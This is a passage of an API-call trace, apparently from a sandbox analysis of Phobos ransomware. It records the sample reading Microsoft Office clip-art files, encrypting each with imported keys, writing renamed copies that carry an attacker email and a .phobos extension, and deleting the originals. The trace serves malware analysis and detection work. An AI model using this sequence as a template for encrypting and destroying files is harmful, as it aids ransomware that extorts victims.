CloseHandle (hObject=0x310) returned 1 [0059.589] CloseHandle (hObject=0x328) returned 1 [0059.590] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0059.591] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.674] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=11058) returned 1 [0059.675] CloseHandle (hObject=0x300) returned 1 [0059.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0059.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.675] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.675] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.676] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0059.676] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.676] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x2b32, lpOverlapped=0x0) returned 1 [0059.691] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2b40, dwBufLen=0x2b40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2b40) returned 1 [0059.691] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2b40, lpOverlapped=0x0) returned 1 [0059.692] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc750) returned 1 [0059.692] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.692] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.692] CryptDestroyKey (hKey=0x10dc750) returned 1 [0059.692] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.692] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0059.692] CloseHandle (hObject=0x300) returned 1 [0059.692] CloseHandle (hObject=0x338) returned 1 [0059.693] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0059.694] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.694] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=9818) returned 1 [0059.694] CloseHandle (hObject=0x338) returned 1 [0059.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0059.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.694] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.695] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.695] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc790) returned 1 [0059.695] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.695] ReadFile (in: hFile=0x338, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x265a, lpOverlapped=0x0) returned 1 [0059.702] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2660, dwBufLen=0x2660 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2660) returned 1 [0059.702] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2660, lpOverlapped=0x0) returned 1 [0059.702] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb10) returned 1 [0059.702] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.703] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.703] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0059.703] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.703] CryptDestroyKey (hKey=0x10dc790) returned 1 [0059.703] CloseHandle (hObject=0x338) returned 1 [0059.703] CloseHandle (hObject=0x300) returned 1 [0059.704] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0059.705] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.705] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=7862) returned 1 [0059.706] CloseHandle (hObject=0x300) returned 1 [0059.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0059.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.706] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.706] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.706] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc810) returned 1 [0059.706] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.706] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1eb6, lpOverlapped=0x0) returned 1 [0059.829] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1ec0, dwBufLen=0x1ec0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1ec0) returned 1 [0059.829] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1ec0, lpOverlapped=0x0) returned 1 [0059.830] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc750) returned 1 [0059.830] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.830] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.830] CryptDestroyKey (hKey=0x10dc750) returned 1 [0059.830] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.830] CryptDestroyKey (hKey=0x10dc810) returned 1 [0059.830] CloseHandle (hObject=0x300) returned 1 [0059.830] CloseHandle (hObject=0x338) returned 1 [0059.831] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0059.832] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.832] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1012) returned 1 [0059.832] CloseHandle (hObject=0x338) returned 1 [0059.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0059.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.832] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.832] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.833] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc6d0) returned 1 [0059.833] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.833] ReadFile (in: hFile=0x338, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x3f4, lpOverlapped=0x0) returned 1 [0059.847] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x400, dwBufLen=0x400 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x400) returned 1 [0059.847] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x400, lpOverlapped=0x0) returned 1 [0059.848] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc750) returned 1 [0059.848] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.848] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.848] CryptDestroyKey (hKey=0x10dc750) returned 1 [0059.848] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.848] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0059.848] CloseHandle (hObject=0x338) returned 1 [0059.848] CloseHandle (hObject=0x300) returned 1 [0059.849] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0059.850] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.850] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=10146) returned 1 [0059.850] CloseHandle (hObject=0x300) returned 1 [0059.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0059.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.850] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.851] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.851] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca50) returned 1 [0059.851] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.851] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x27a2, lpOverlapped=0x0) returned 1 [0059.866] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x27b0, dwBufLen=0x27b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x27b0) returned 1 [0059.866] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x27b0, lpOverlapped=0x0) returned 1 [0059.867] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dccd0) returned 1 [0059.867] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.867] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.867] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0059.867] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.867] CryptDestroyKey (hKey=0x10dca50) returned 1 [0059.867] CloseHandle (hObject=0x300) returned 1 [0059.867] CloseHandle (hObject=0x338) returned 1 [0059.868] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0059.869] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.869] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1696) returned 1 [0059.869] CloseHandle (hObject=0x338) returned 1 [0059.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0059.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.870] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.870] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.870] 